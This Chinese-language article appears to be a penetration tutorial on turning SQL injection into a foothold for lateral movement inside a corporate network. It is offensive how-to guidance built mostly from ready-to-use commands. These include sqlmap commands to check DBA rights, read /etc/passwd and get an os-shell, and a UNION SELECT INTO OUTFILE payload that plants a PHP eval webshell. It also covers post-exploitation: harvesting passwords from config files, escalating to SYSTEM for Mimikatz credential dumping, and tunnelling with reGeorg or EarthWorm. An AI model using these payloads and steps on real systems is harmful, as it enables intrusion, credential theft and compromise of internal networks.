sql注入本身不能直接横向移动,但可助获取首台服务器控制权,成为横向移动起点;需通过文件写入、绝对路径确认及dba权限等手段获取webshell或os-shell,再提权并探测内网环境方可实施横向移动。

SQL注入本身不能直接横向移动,但它能帮你拿到第一台服务器的控制权,这是横向移动的起点。 真正的横向移动发生在你已拿下Web服务器之后,利用它作为跳板去打内网其他机器——而SQL注入只是帮你站上这个跳板的手段之一。
SQL注入后怎么拿到Web服务器系统权限?
很多新手卡在“注入出数据库名”就停了,但横向移动需要的是os-shell或webshell。关键判断点是:目标是否支持文件写入、是否知道绝对路径、数据库用户是否有FILE权限。
- 用
sqlmap -u "url" --is-dba确认当前数据库用户是否为DBA;不是就基本没戏 - 用
sqlmap -u "url" --file-read="/etc/passwd"测试能否读取系统文件,能读说明FILE权限大概率存在 - 写WebShell前必须确认Web目录绝对路径,常见路径:
/var/www/html/、C:\inetpub\wwwroot\;用sqlmap --dump-all或报错信息里找线索 - 如果
--os-shell卡住,优先尝试手工UNION SELECT写入:UNION SELECT 1,2,...,'<?php eval($_POST[pass]);?>',... INTO OUTFILE '/var/www/html/shell.php'
拿到Web服务器权限后,哪些操作能触发横向移动?
此时你只是个低权限Web服务用户(如www-data或IIS_IUSRS),不能直接调用net use或PsExec。必须先提权或收集凭证。
- 立即执行
whoami /all(Windows)或id && cat /etc/passwd(Linux),看是否已是管理员/SYSTEM - 检查是否有明文配置文件:
cat /var/www/html/config.php、grep -r "password\|pwd" /var/www/ 2>/dev/null - Windows下重点搜
lsass.exe相关进程和内存——但普通Web用户没权限直接读,得先提权到SYSTEM再上Mimikatz - Linux下运行
ps aux | grep mysql,看MySQL是否以高权限启动,有时能顺手抓到数据库root密码
为什么SQL注入后的横向移动常失败?三个最硬的坑
不是工具不行,而是环境约束太强。以下三点不满足,90%的横向移动会断在第一步。
-
webshell被限制函数:system、exec、shell_exec被禁用,disable_functions里列了一长串——此时sqlmap --os-shell必然失败,得换PHP一句话+内存马或Python反弹 - Web服务器与内网不通:很多企业把Web服务器放在DMZ区,只开放80/443出向,
ping 192.168.1.10不通就别试smbclient或nc了,先搭代理(如reGeorg或EarthWorm) - 没识别清楚域环境:以为自己进了“内网”,结果只是个孤立的Linux Web服务器,根本没连域。用
nslookup domain.com和cat /etc/resolv.conf确认DNS是否指向域控,否则所有net命令都是空转
真正卡住人的从来不是SQL语法或sqlmap参数,而是你拿到os-shell后,面对一个禁止执行命令、无法出网、又不连域的Web服务器时,下一步该翻哪份日志、查哪个进程、改哪行配置——这些细节没有标准答案,只有现场反馈。











